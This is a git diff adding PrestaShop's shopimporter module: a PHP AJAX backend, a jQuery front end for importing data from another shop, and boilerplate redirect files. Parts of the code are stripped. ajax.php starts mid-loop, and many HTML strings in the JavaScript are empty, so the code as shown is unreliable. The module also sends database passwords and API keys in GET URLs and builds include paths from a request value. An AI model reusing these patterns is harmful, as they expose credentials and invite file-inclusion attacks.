--git a/modules/sendtoafriend/translations/index.php b/modules/sendtoafriend/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/sendtoafriend/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/shopimporter/ajax.php b/modules/shopimporter/ajax.php new file mode 100755 index 0000000..ccd53b5 --- /dev/null +++ b/modules/shopimporter/ajax.php @@ -0,0 +1,214 @@ +supportedImports as $key => $import) + if (array_key_exists('alterTable', $import)) + $columns = Db::getInstance()->executeS('SHOW COLUMNS FROM `'._DB_PREFIX_.bqSQL($import['table']).'`'); + foreach ($columns as $column) + if ($column['Field'] == $import['identifier'].'_'.$moduleName) + Db::getInstance()->execute('ALTER IGNORE TABLE `'._DB_PREFIX_.bqSQL($import['table']).'` DROP `'.bqSQL($import['identifier'].'_'.$moduleName).'`'); + if ($link = @mysql_connect(Tools::getValue('server'), Tools::getValue('user'), Tools::getValue('password'))) + { + if (!@mysql_select_db(Tools::getValue('database'), $link)) + die('{"hasError" : true, "error" : ["'.$shop_importer->l('The database selection cannot be made.', 'ajax').'"]}'); + else + { + @mysql_close($link); + die('{"hasError" : false, "error" : []}'); + } + } + else + die('{"hasError" : true, "error" : ["'.$shop_importer->l('Link to database cannot be established.', 'ajax').'"]}'); + +} + +if (Tools::isSubmit('getData') || Tools::isSubmit('syncLang') || Tools::isSubmit('syncCurrency')) +{ + if (Tools::isSubmit('syncLang')) + $save = true; + + if (file_exists('../../modules/'.$moduleName.'/'.$moduleName.'.php')) + { + require_once('../../modules/'.$moduleName.'/'.$moduleName.'.php'); + $importModule = new $moduleName(); + $importModule->server = $server; + $importModule->user = $user; + $importModule->passwd = $password; + $importModule->database = $database; + $importModule->prefix = $prefix; + if (!method_exists($importModule, $getMethod)) + die('{"hasError" : true, "error" : ["not_exist"], "datas" : []}'); + else + { + $return = call_user_func_array(array($importModule, $getMethod), array($limit, $nbr_import)); + $shop_importer = new shopImporter(); + $shop_importer->genericImport($className, $return, (bool)$save); + } + } +} +if (Tools::isSubmit('getDataWS') || Tools::isSubmit('syncLangWS') || Tools::isSubmit('syncCurrencyWS')) +{ + if (Tools::isSubmit('syncLangWS')) + $save = true; + + if (file_exists('../../modules/'.$moduleName.'/'.$moduleName.'.php')) + { + require_once('../../modules/'.$moduleName.'/'.$moduleName.'.php'); + + try + { + $importModule = new $moduleName(); + $importModule->connect($url,$loginws,$apikey); + + if (!method_exists($importModule, $getMethod)) + die('{"hasError" : true, "error" : ["not_exist"], "datas" : []}'); + else + { + $return = call_user_func_array(array($importModule, $getMethod), array($limit, $nbr_import)); + $shop_importer = new shopImporter(); + $shop_importer->genericImport($className, $return, (bool)$save); + } + die('{"hasError" : false, "error" : []}'); + } catch (Exception $e) + { + die('{"hasError" : true, "error" : ['.json_encode($e->getMessage()).'], "datas" : []}'); + } + } +} + +if (Tools::isSubmit('truncatTable')) +{ + $shop_importer = new shopImporter(); + if ($shop_importer->truncateTable($className)) + die('{"hasError" : false, "error" : []}'); + else + die('{"hasError" : true, "error" : ["'.$className.'"]}'); + +} + +if (Tools::isSubmit('alterTable')) +{ + $shop_importer = new shopImporter(); + if ($shop_importer->alterTable($className)) + die('{"hasError" : false, "error" : []}'); + else + die('{"hasError" : true, "error" : ["'.$className.'"]}'); + +} + +if (Tools::isSubmit('displaySpecificOptions')) +{ + if (file_exists('../../modules/'.$moduleName.'/'.$moduleName.'.php')) + { + $shop_importer = new shopImporter(); + require_once('../../modules/'.$moduleName.'/'.$moduleName.'.php'); + $importModule = new $moduleName(); + $importModule->server = $server; + $importModule->user = $user; + $importModule->passwd = $password; + $importModule->database = $database; + $importModule->prefix = $prefix; + if ($link = @mysql_connect(Tools::getValue('server'), Tools::getValue('user'), Tools::getValue('password'))) + { + if(!@mysql_select_db(Tools::getValue('database'), $link)) + die($shop_importer->l('The database selection cannot be made.', 'ajax')); + elseif (method_exists($importModule, 'displaySpecificOptions')) + die($importModule->displaySpecificOptions()); + else + die('not_exist'); + } + else + die($shop_importer->l('Link to database cannot be established.', 'ajax')); + } +} +elseif (Tools::isSubmit('displaySpecificOptionsWsdl')) +{ + if (file_exists('../../modules/'.$moduleName.'/'.$moduleName.'.php')) + { + require_once('../../modules/'.$moduleName.'/'.$moduleName.'.php'); + $importModule = new $moduleName(); + + try + { + if (method_exists($importModule, 'displaySpecificOptions')) + die($importModule->displaySpecificOptions()); + else + die('not_exist'); + } catch (Exception $e) + { + die('{"hasError" : true, "error" : ['.json_encode($e->getMessage()).'], "datas" : []}'); + } + } +} +if (Tools::isSubmit('connexionWs')) +{ + if (file_exists('../../modules/'.$moduleName.'/'.$moduleName.'.php')) + { + require_once('../../modules/'.$moduleName.'/'.$moduleName.'.php'); + try + { + + $importModule = new $moduleName(); + $importModule->connect($url,$loginws,$apikey); + die('{"hasError" : false, "error" : []}'); + } catch (Exception $e) + { + die('{"hasError" : true, "error" : ['.json_encode($e->getMessage()).'], "datas" : []}'); + } + } +} + +if (Tools::isSubmit('validateSpecificOptions')) +{ + if (file_exists('../../modules/'.$moduleName.'/'.$moduleName.'.php')) + { + require_once('../../modules/'.$moduleName.'/'.$moduleName.'.php'); + $importModule = new $moduleName(); + if (!method_exists($importModule, 'validateSpecificOptions')) + die('{"hasError" : true, "error" : ["not_exist"]}'); + else + die($importModule->validateSpecificOptions()); + } +} +if (Tools::isSubmit('displayConfigConnector')) +{ + if (file_exists('../../modules/'.$moduleName.'/'.$moduleName.'.php')) + { + require_once('../../modules/'.$moduleName.'/'.$moduleName.'.php'); + $importModule = new $moduleName(); + if (!method_exists($importModule, 'displayConfigConnector')) + die('{"hasError" : true, "error" : ["not_exist"]}'); + else + die($importModule->displayConfigConnector()); + } +} +?> \ No newline at end of file diff --git a/modules/shopimporter/img/ajax-loader.gif b/modules/shopimporter/img/ajax-loader.gif new file mode 100755 index 0000000..3dba96d Binary files /dev/null and b/modules/shopimporter/img/ajax-loader.gif differ diff --git a/modules/shopimporter/img/delete.gif b/modules/shopimporter/img/delete.gif new file mode 100755 index 0000000..20874bb Binary files /dev/null and b/modules/shopimporter/img/delete.gif differ diff --git a/modules/shopimporter/img/error.png b/modules/shopimporter/img/error.png new file mode 100755 index 0000000..5d52e2f Binary files /dev/null and b/modules/shopimporter/img/error.png differ diff --git a/modules/shopimporter/img/file.png b/modules/shopimporter/img/file.png new file mode 100755 index 0000000..207dc4c Binary files /dev/null and b/modules/shopimporter/img/file.png differ diff --git a/modules/shopimporter/img/force.gif b/modules/shopimporter/img/force.gif new file mode 100755 index 0000000..d876e5e Binary files /dev/null and b/modules/shopimporter/img/force.gif differ diff --git a/modules/shopimporter/img/index.php b/modules/shopimporter/img/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/shopimporter/img/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/shopimporter/img/ok.png b/modules/shopimporter/img/ok.png new file mode 100755 index 0000000..4207a36 Binary files /dev/null and b/modules/shopimporter/img/ok.png differ diff --git a/modules/shopimporter/img/skip.png b/modules/shopimporter/img/skip.png new file mode 100755 index 0000000..636b2d6 Binary files /dev/null and b/modules/shopimporter/img/skip.png differ diff --git a/modules/shopimporter/img/stop.png b/modules/shopimporter/img/stop.png new file mode 100755 index 0000000..fbc3cee Binary files /dev/null and b/modules/shopimporter/img/stop.png differ diff --git a/modules/shopimporter/img/warn.png b/modules/shopimporter/img/warn.png new file mode 100755 index 0000000..b06d10d Binary files /dev/null and b/modules/shopimporter/img/warn.png differ diff --git a/modules/shopimporter/index.php b/modules/shopimporter/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/shopimporter/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/shopimporter/logo.gif b/modules/shopimporter/logo.gif new file mode 100755 index 0000000..263b1e4 Binary files /dev/null and b/modules/shopimporter/logo.gif differ diff --git a/modules/shopimporter/logo.png b/modules/shopimporter/logo.png new file mode 100755 index 0000000..8241eb5 Binary files /dev/null and b/modules/shopimporter/logo.png differ diff --git a/modules/shopimporter/shopimporter.js b/modules/shopimporter/shopimporter.js new file mode 100755 index 0000000..44c3535 --- /dev/null +++ b/modules/shopimporter/shopimporter.js @@ -0,0 +1,910 @@ +var shopImporter = { + token: globalAjaxShopImporterToken, + moduleName: $('#import_module_name').val(), + server: $('#server').val(), + user: $('#user').val(), + password: $('#password').val(), + database: $('#database').val(), + prefix: $('#prefix').val(), + url: $('#url').val(), + loginws: $('#loginws').val(), + apikey: $('#apikey').val(), + specificOptions : '', + imagesOptions : '', + output : 1, + hasErrors : 0, + limit: 0, + nbr_import: parseInt($('#nbr_import').val()), + idMethod: 0, + nbrMethod: 0, + save : 0, + srcError : '../modules/shopimporter/img/error.png', + srcConf : '../modules/shopimporter/img/ok.png', + srcImport : '../modules/shopimporter/img/ajax-loader.gif', + srcWarn : '../modules/shopimporter/img/warn.png', + srcDelete : '../modules/shopimporter/img/delete.gif', + + + syncLangWS : function (onComplete) + { + $.ajax({ + type: 'GET', + url: '../modules/shopimporter/ajax.php', + async: false, + cache: false, + dataType : "json", + data: 'ajax=true&syncLangWS&getMethod=getLangagues&token='+this.token+'&className=Language&moduleName='+this.moduleName+'&url='+this.url+'&loginws='+this.loginws+'&apikey='+this.apikey+'&nbr_import='+this.nbr_import , + success: function(jsonData) + { + if (jsonData.hasError) + { + $('#steps').html(''); + $('#lang_feedback').fadeIn('slow'); + onComplete(false); + } + else + onComplete(true); + }, + error: function(XMLHttpRequest, textStatus, errorThrown) + { + $('#steps').html($('#steps').html()+''); + $('#technical_error_feedback').fadeIn('slow'); + onComplete(false); + } + }); + + }, + syncLang : function (onComplete) + { + $.ajax({ + type: 'GET', + url: '../modules/shopimporter/ajax.php', + async: false, + cache: false, + dataType : "json", + data: 'ajax=true&syncLang&getMethod=getLangagues&token='+this.token+'&className=Language&moduleName='+this.moduleName+'&server='+this.server+'&user='+this.user+'&password='+this.password+'&database='+this.database+'&prefix='+prefix+this.specificOptions+'&nbr_import='+this.nbr_import , + success: function(jsonData) + { + if (jsonData.hasError) + { + $('#steps').html(''); + $('#lang_feedback').fadeIn('slow'); + onComplete(false); + } + else + onComplete(true); + }, + error: function(XMLHttpRequest, textStatus, errorThrown) + { + $('#steps').html($('#steps').html()+''); + $('#technical_error_feedback').fadeIn('slow'); + onComplete(false); + } + }); + + }, + syncCurrencyWS : function (onComplete) + { + $.ajax({ + type: 'GET', + url: '../modules/shopimporter/ajax.php', + async: false, + cache: false, + dataType : "json", + data: 'ajax=true&token='+this.token+'&syncCurrencyWS&getMethod=getCurrencies&className=Currency&moduleName='+this.moduleName+'&url='+this.url+'&loginws='+this.loginws+'&apikey='+this.apikey+'&nbr_import='+this.nbr_import , + success: function(jsonData) + { + if (jsonData.hasError) + { + $('#steps').html('
        '+jsonData.error+'
        '); + $('#currency_feedback').fadeIn('slow'); + onComplete(false); + } + else + onComplete(true); + }, + error: function(XMLHttpRequest, textStatus, errorThrown) + { + $('#steps').html($('#steps').html()+''); + $('#technical_error_feedback').fadeIn('slow'); + onComplete(false); + } + }); + }, + syncCurrency : function (onComplete) + { + $.ajax({ + type: 'GET', + url: '../modules/shopimporter/ajax.php', + async: false, + cache: false, + dataType : "json", + data: 'ajax=true&token='+this.token+'&syncCurrency&getMethod=getCurrencies&className=Currency&moduleName='+this.moduleName+'&server='+this.server+'&user='+this.user+'&password='+this.password+'&database='+this.database+'&prefix='+prefix+this.specificOptions+'&nbr_import='+this.nbr_import , + success: function(jsonData) + { + if (jsonData.hasError) + { + $('#steps').html(''); + $('#currency_feedback').fadeIn('slow'); + onComplete(false); + } + else + onComplete(true); + }, + error: function(XMLHttpRequest, textStatus, errorThrown) + { + $('#steps').html($('#steps').html()+''); + $('#technical_error_feedback').fadeIn('slow'); + onComplete(false); + } + }); + + }, + checkAndSaveConfigWSDL : function (onComplete) + { + $('#checkAndSaveConfig').fadeOut('slow'); + $('#steps').html($('#steps').html()+'
        '+wsOk+'
        '); + $('#steps').html($('#steps').html()+''); + $('#next').fadeIn('slow', function () { + $('#next').unbind('click').click(function(){ + $('#next').fadeOut('fast', function() { + shopImporter.nbrMethod = conf.length; + shopImporter.getDatasWS(conf[shopImporter.idMethod]); + }); + return false; + }); + }); + $('#database_feedback').fadeIn('slow'); + + }, + checkAndSaveConfigWS : function (save) + { + //sync languages and currency + this.syncLangWS(function(isOk) { + if (isOk) + { + shopImporter.syncCurrencyWS(function(isOk) { + if ($('#technical_error_feedback').length) + $('#technical_error_feedback').fadeIn('slow'); + + + $('#checkAndSaveConfig').fadeOut('slow'); + $('#steps').html($('#steps').html()+'
        '+databaseOk+'
        '); + $('#steps').html($('#steps').html()+''); + $('#database_feedback').fadeIn('slow', function() { + if (save) + { + shopImporter.idMethod = 0; + shopImporter.limit = 0; + shopImporter.nbrMethod = conf.length; + $('.truncateTable:checked').each(function (){ + shopImporter.truncatTable(this.id, 'add'); + }); + + if($('#truncat_feedback').length != 0) + $('#truncat_feedback').removeClass('import').addClass('conf'); + + shopImporter.getDatasWS(conf[shopImporter.idMethod]); + } + else + { + $('#next').fadeIn('slow', function () { + $('#next').unbind('click').click(function(){ + $('#next').fadeOut('fast', function() { + shopImporter.nbrMethod = conf.length; + shopImporter.getDatasWS(conf[shopImporter.idMethod]); + }); + + }); + }); + } + }); + }); + } + }); + }, + checkAndSaveConfig : function (save) + { + //sync languages and currency + this.syncLang(function(isOk) { + if (isOk) + { + shopImporter.syncCurrency(function(isOk) { + if (isOk) + { + $.ajax({ + type: 'GET', + url: '../modules/shopimporter/ajax.php', + async: true, + cache: false, + dataType : "json", + data: 'ajax=true&token='+this.token+'&checkAndSaveConfig&moduleName='+shopImporter.moduleName+'&server='+shopImporter.server+'&user='+shopImporter.user+'&password='+shopImporter.password+'&database='+shopImporter.database+'&prefix='+prefix+shopImporter.specificOptions+'&nbr_import='+shopImporter.nbr_import , + success: function(jsonData) + { + if ($('#technical_error_feedback').length) + $('#technical_error_feedback').fadeIn('slow'); + + if (!jsonData.hasError) + { + $('#checkAndSaveConfig').fadeOut('slow'); + $('#steps').html($('#steps').html()+''); + $('#steps').html($('#steps').html()+''); + $('#database_feedback').fadeIn('slow', function() { + if (save) + { + shopImporter.idMethod = 0; + shopImporter.limit = 0; + shopImporter.nbrMethod = conf.length; + $('.truncateTable:checked').each(function (){ + shopImporter.truncatTable(this.id, 'add'); + }); + + if($('#truncat_feedback').length != 0) + $('#truncat_feedback').removeClass('import').addClass('conf'); + + shopImporter.getDatas(conf[shopImporter.idMethod]); + } + else + { + $('#next').fadeIn('slow', function () { + $('#next').unbind('click').click(function(){ + $('#next').fadeOut('fast', function() { + shopImporter.nbrMethod = conf.length; + shopImporter.getDatas(conf[shopImporter.idMethod]); + }); + return false; + }); + }); + } + }); + } + else + { + $('#steps').html(''); + $('#database_feedback').fadeIn('slow'); + } + }, + error: function(XMLHttpRequest, textStatus, errorThrown) + { + $('#steps').html($('#steps').html()+'
        TECHNICAL ERROR

        Details: '+XMLHttpRequest.responseText+'
        '); + $('#technical_error_feedback').fadeIn('slow'); + } + }); + } + }); + } + }); + }, + + getDatasWS : function (methodName) + { + //check if method have to be call + if (shopImporter.idMethod >= shopImporter.nbrMethod) + shopImporter.displayEnd(false); + else if ($('input[name='+methodName[0]+']:radio:checked').val() == 0) + { + shopImporter.idMethod ++; + shopImporter.getDatasWS(conf[shopImporter.idMethod]); + return; + } + if (typeof(methodName) != 'undefined') + { + + $('#steps').html($('#steps').html()+'
        '+methodName[1]+'
        '); + $('#ok_feedback_'+methodName[0]).css('display', ''); + + $('#checkAndSaveConfig').fadeIn('slow'); + $.ajax({ + type: 'GET', + url: '../modules/shopimporter/ajax.php', + async: true, + cache: false, + dataType : "json", + data: 'ajax=true&token='+this.token+'&getDataWS&className='+methodName[2]+'&getMethod='+methodName[0]+'&moduleName='+this.moduleName+'&url='+this.url+'&loginws='+this.loginws+'&apikey='+this.apikey+'&limit='+this.limit+'&nbr_import='+this.nbr_import+'&save='+this.save+'&errors='+this.errors+'&hasErrors='+this.hasErrors+this.specificOptions+this.imagesOptions , + success: function(jsonData) + { + var jsonError; + if (jsonData.hasError) + { + jsonError = ''; + if (jsonData.error == 'not_exist') + { + $('#ok_feedback_'+methodName[0]).removeClass('conf').addClass(function() { + $('#ok_feedback_'+methodName[0]).html(''+methodName[1]+' '+notExist); + return 'warn'; + }); + } + else + { + for (i=0;iId : '+jsonData.error[i]+''; + + if ($('#display_error_'+methodName[0]+'_link').length == 0) + { + $('#ok_feedback_'+methodName[0]).html($('#ok_feedback_'+methodName[0]).html()+''+showErrors+'('+jsonData.error.length+')'+''); + } + else + { + var nbrErrors = $('#nbr_errors_'+methodName[0]).html(); + var newNbrError = parseInt(jsonData.error.length) + parseInt(nbrErrors); + $('#nbr_errors_'+methodName[0]).html(newNbrError); + $('#feedback_'+methodName[0]+'_errors_list > ul').html($('#feedback_'+methodName[0]+'_errors_list > ul').html() + jsonError); + } + } + + if (jsonData.datas.length != parseInt(shopImporter.nbr_import)) + { + if ($('#display_error_'+methodName[0]+'_link').length != 0) + $('#ok_feedback_'+methodName[0]).removeClass('import').addClass( function() { + $('#ok_feedback_'+methodName[0]+' >img:first').attr('src', shopImporter.srcError); + return 'error'; + }); + shopImporter.idMethod ++; + shopImporter.limit = 0; + } + else + shopImporter.limit += parseInt(shopImporter.nbr_import); + if ((shopImporter.idMethod < shopImporter.nbrMethod)) + shopImporter.getDatasWS(conf[shopImporter.idMethod]); + else + shopImporter.displayEnd(false); + } + else + { + if (jsonData.datas.length != parseInt(shopImporter.nbr_import)) + { + if ($('#display_error_'+methodName[0]+'_link').length != 0) + { + $('#ok_feedback_'+methodName[0]).removeClass('import').addClass( function() { + $('#ok_feedback_'+methodName[0]+' >img:first').attr('src', shopImporter.srcError); + return 'error'; + }); + }else + { + $('#ok_feedback_'+methodName[0]).removeClass('import').addClass('conf'); + $('#ok_feedback_'+methodName[0]+'>img:first').attr('src', shopImporter.srcConf); + } + shopImporter.idMethod ++; + shopImporter.limit = 0; + + shopImporter.getDatasWS(conf[shopImporter.idMethod]); + } + else + { + if (shopImporter.idMethod < shopImporter.nbrMethod) + { + shopImporter.limit += parseInt(shopImporter.nbr_import); + shopImporter.getDatasWS(conf[shopImporter.idMethod]); + } + else + shopImporter.displayEnd(true); + } + } + }, + error: function(XMLHttpRequest, textStatus, errorThrown) + { + $('#technical_error_feedback').fadeIn('slow'); + $('#checkAndSaveConfig').fadeIn('slow'); + } + }); + } + }, + getDatas : function (methodName) + { + //check if method have to be call + if (shopImporter.idMethod >= shopImporter.nbrMethod) + shopImporter.displayEnd(false); + else if ($('input[name='+methodName[0]+']:radio:checked').val() == 0) + { + shopImporter.idMethod ++; + shopImporter.getDatas(conf[shopImporter.idMethod]); + return; + } + if (typeof(methodName) != 'undefined') + { + + $('#steps').html($('#steps').html()+''); + $('#ok_feedback_'+methodName[0]).css('display', ''); + + $('#checkAndSaveConfig').fadeIn('slow'); + $.ajax({ + type: 'GET', + url: '../modules/shopimporter/ajax.php', + async: true, + cache: false, + dataType : "json", + data: 'ajax=true&token='+this.token+'&getData&className='+methodName[2]+'&getMethod='+methodName[0]+'&moduleName='+this.moduleName+'&server='+this.server+'&user='+this.user+'&password='+this.password+'&database='+this.database+'&prefix='+prefix+'&limit='+this.limit+'&nbr_import='+this.nbr_import+'&save='+this.save+'&errors='+this.errors+'&hasErrors='+this.hasErrors+this.specificOptions+this.imagesOptions , + success: function(jsonData) + { + var jsonError; + if (jsonData.hasError) + { + jsonError = ''; + if (jsonData.error == 'not_exist') + { + $('#ok_feedback_'+methodName[0]).removeClass('conf').addClass(function() { + $('#ok_feedback_'+methodName[0]).html(''+methodName[1]+' '+notExist); + return 'warn'; + }); + } + else + { + for (i=0;iId : '+jsonData.error[i]+''; + + if ($('#display_error_'+methodName[0]+'_link').length == 0) + { + $('#ok_feedback_'+methodName[0]).html($('#ok_feedback_'+methodName[0]).html()+''+showErrors+'('+jsonData.error.length+')'+''); + } + else + { + var nbrErrors = $('#nbr_errors_'+methodName[0]).html(); + var newNbrError = parseInt(jsonData.error.length) + parseInt(nbrErrors); + $('#nbr_errors_'+methodName[0]).html(newNbrError); + $('#feedback_'+methodName[0]+'_errors_list > ul').html($('#feedback_'+methodName[0]+'_errors_list > ul').html() + jsonError); + } + } + + if (jsonData.datas.length != parseInt(shopImporter.nbr_import)) + { + if ($('#display_error_'+methodName[0]+'_link').length != 0) + $('#ok_feedback_'+methodName[0]).removeClass('import').addClass( function() { + $('#ok_feedback_'+methodName[0]+' >img:first').attr('src', shopImporter.srcError); + return 'error'; + }); + shopImporter.idMethod ++; + shopImporter.limit = 0; + } + else + shopImporter.limit += parseInt(shopImporter.nbr_import); + if ((shopImporter.idMethod < shopImporter.nbrMethod)) + shopImporter.getDatas(conf[shopImporter.idMethod]); + else + shopImporter.displayEnd(false); + } + else + { + if (jsonData.datas.length != parseInt(shopImporter.nbr_import)) + { + if ($('#display_error_'+methodName[0]+'_link').length != 0) + { + $('#ok_feedback_'+methodName[0]).removeClass('import').addClass( function() { + $('#ok_feedback_'+methodName[0]+' >img:first').attr('src', shopImporter.srcError); + return 'error'; + }); + }else + { + $('#ok_feedback_'+methodName[0]).removeClass('import').addClass('conf'); + $('#ok_feedback_'+methodName[0]+'>img:first').attr('src', shopImporter.srcConf); + } + shopImporter.idMethod ++; + shopImporter.limit = 0; + shopImporter.getDatas(conf[shopImporter.idMethod]); + } + else + { + if (shopImporter.idMethod < shopImporter.nbrMethod) + { + shopImporter.limit += parseInt(shopImporter.nbr_import); + shopImporter.getDatas(conf[shopImporter.idMethod]); + } + else + shopImporter.displayEnd(true); + } + } + }, + error: function(XMLHttpRequest, textStatus, errorThrown) + { + $('#steps').html($('#steps').html()+''); + $('#technical_error_feedback').fadeIn('slow'); + $('#checkAndSaveConfig').fadeIn('slow'); + } + }); + } + }, + + truncatTable : function (className) + { + if (!$('#truncat_feedback').length) + { + $('#steps').html($('#steps').html()+''); + $('#truncat_feedback').css('display', ''); + } + + $.ajax({ + type: 'GET', + url: '../modules/shopimporter/ajax.php', + async: false, + cache: false, + dataType : "json", + data: 'ajax=true&token='+this.token+'&truncatTable&className='+className+this.specificOptions , + success: function(jsonData) + { + var jsonError; + if (jsonData.hasError) + { + jsonError = ''; + for (i=0;iTable : '+jsonData.error[i]+''; + $('#truncat_feedback').removeClass('import').addClass('error'); + $('#truncat_feedback >img:first').attr('src', shopImporter.srcError); + if ($('#display_error_truncat_feedback_link').length == 0) + { + $('#truncat_feedback').html($('#truncat_feedback').html()+''+showErrors+''); + } + else + { + var nbrErrors = $('#nbr_errors_'+methodName[0]).html(); + var newNbrError = parseInt(jsonData.error.length) + parseInt(nbrErrors); + $('#nbr_errors_'+methodName[0]).html(newNbrError); + $('#feedback_'+methodName[0]+'_errors_list > ul').html($('#feedback_'+methodName[0]+'_errors_list > ul').html() + jsonError); + } + } + }, + error: function(XMLHttpRequest, textStatus, errorThrown) + { + $('#steps').html($('#steps').html()+''); + $('#technical_error_feedback').fadeIn('slow'); + $('#checkAndSaveConfig').fadeIn('slow'); + } + + }); + }, + + displayEnd : function (finish) + { + + if ((this.hasErrors != 0 || ($('.display_error_link').length == 0 && this.hasErrors == 0)) || (this.hasErrors == 1)) + { + if (this.save) + { + $('#steps').html($('#steps').html()+'
        '+importFinish+'
        '); + $('#ok_feedback_end').fadeIn('slow'); + } + else + { + $('#steps').html($('#steps').html()+''); + $('#submitImport').fadeIn('slow', function() { + $(this).unbind('click').click(function() { + $.scrollTo($("#steps"), 300 , { + onAfter:function(){ + $('#steps').html(''); + shopImporter.save = 1; + if(type_connector == 'ws') + shopImporter.checkAndSaveConfigWS(shopImporter.save); + else if (type_connector == 'db') + shopImporter.checkAndSaveConfig(shopImporter.save); + } + }); + }); + }); + } + } + else + { + $('#steps').html($('#steps').html()+''); + $('#technical_error_feedback').fadeIn('slow'); + } + $('#checkAndSaveConfig').fadeIn('slow'); + }, + +}; + +function enableShowErrors(methodName) +{ + $(document).find('#feedback_'+methodName+'_errors_list').slideToggle(); + return false; +} + +function enableShowErrorsTruncate() +{ + $(document).find('#feedback_truncat_errors_list').slideToggle(); + return false; +} + +function displaySpecificOptions(moduleName, server, user, password, database, prefix, token) +{ + $.ajax({ + type: 'GET', + url: '../modules/shopimporter/ajax.php', + async: false, + cache: false, + dataType : "html", + data: 'ajax=true&token='+token+'&displaySpecificOptions&moduleName='+moduleName+'&server='+ server+'&user='+user+'&password='+password+'&database='+database+'&prefix='+prefix , + success: function(htmlData) + { + if (htmlData != 'not_exist') + { + $('#specificOptionsContent').html(htmlData); + $('#specificOptions').show(); + $('#importOptions').show(); + } + }, + error: function(XMLHttpRequest, textStatus, errorThrown) + { + alert('TECHNICAL ERROR\nDetails:\nError thrown: ' + XMLHttpRequest + '\n' + 'Text status: ' + textStatus); + } + }); +} +function initConnexion (moduleName, url, loginws, apikey, token) +{ + $.ajax({ + type: 'GET', + url: '../modules/shopimporter/ajax.php', + async: false, + cache: false, + dataType : "json", + data: 'ajax=true&token='+token+'&connexionWs&moduleName='+moduleName+'&url='+ url+'&loginws='+loginws+'&apikey='+apikey , + success: function(jsonData) + { + var jsonError = ''; + $('#connectionInformation').removeAttr('style'); + if (jsonData.hasError) + { + $('#connectionInformation').attr('style','width: 400px;background-color: #FAE2E3;border: 1px solid #EC9B9B'); + for (i=0;i'+jsonData.error[i]+''; + $('#connectionInformation').slideDown('slow'); + $('#connectionInformation').html('
          '+jsonError+'
        '); + $('#connectionInformation').show(); + }else + { + + $('#connectionInformation').attr('style','width: 400px;background-color: #DFFAD3;border: 1px solid #72CB67'); + $('#connectionInformation').slideDown('slow'); + $('#connectionInformation').html('
          Connection successful
        '); + $('#connectionInformation').show(); + $('#importOptions').show(); + displaySpecificOptionsWsdl(moduleName, token); + } + }, + error: function(XMLHttpRequest, textStatus, errorThrown) + { + alert('TECHNICAL ERROR\nDetails:\nError thrown: ' + XMLHttpRequest + '\n' + 'Text status: ' + textStatus); + } + }); +} + +function displaySpecificOptionsWsdl(moduleName,token) +{ + + $.ajax({ + type: 'GET', + url: '../modules/shopimporter/ajax.php', + async: false, + cache: false, + dataType : 'html', + data: 'ajax=true&token='+token+'&displaySpecificOptionsWsdl&moduleName='+moduleName , + success: function(htmlData) + { + $('#specificOptionsContent').html(htmlData); + $('#specificOptions').hide(); + $('#importOptions').show(); + }, + error: function(XMLHttpRequest, textStatus, errorThrown) + { + alert('TECHNICAL ERROR\nDetails:\nError thrown: ' + XMLHttpRequest + '\n' + 'Text status: ' + textStatus); + } + }); +} +function validateSpecificOptions(moduleName, specificOptions) +{ + $.ajax({ + type: 'GET', + url: '../modules/shopimporter/ajax.php', + async: false, + cache: false, + dataType : 'json', + data: 'ajax=true&token='+token+'&validateSpecificOptions&moduleName='+moduleName+specificOptions , + success: function(jsonData) + { + var jsonError = ''; + if (jsonData.hasError) + { + for (i=0;i'+jsonData.error[i]+''; + $('#specificOptionsErrors').html('
          '+jsonError+'
        '); + $('#specificOptionsErrors').fadeIn('slow'); + } + }, + error: function(XMLHttpRequest, textStatus, errorThrown) + { + alert('TECHNICAL ERROR\nDetails:\nError thrown: ' + XMLHttpRequest + '\n' + 'Text status: ' + textStatus); + } + }); + + if ($('#specificOptionsErrors').html().length != 0) + return false; + else + return true; +} + +//init configuration connector (database or webservice) +function initConfigConnector() +{ + if($('#choose_module_name').attr('value')) + { + $('#db_config').hide(); + $('#importOptions').hide(); + $('#steps').html(''); + + if ($('#import_module_name').attr('value') != 0) + { + $('#displayOptions').show(); + $.ajax({ + type: 'GET', + url: '../modules/shopimporter/ajax.php', + async: false, + cache: false, + dataType : 'html', + + data: 'ajax=true&token='+globalAjaxShopImporterToken+'&displayConfigConnector&moduleName='+$('#import_module_name').val() , + success: function(html) + { + $('#config_connector').html(html); + $('#config_connector').show(); + $('#db_config').slideDown('slow'); + $('#displayOptions').show(); + $('#checkAndSaveConfig').show(); + }, + error: function(XMLHttpRequest, textStatus, errorThrown) + { + alert('TECHNICAL ERROR\nDetails:\nError thrown: ' + XMLHttpRequest + '\n' + 'Text status: ' + textStatus); + } + }); + } + else + { + $('#db_config').slideUp('slow'); + $('#checkAndSaveConfig').show(); + + } + } +} + 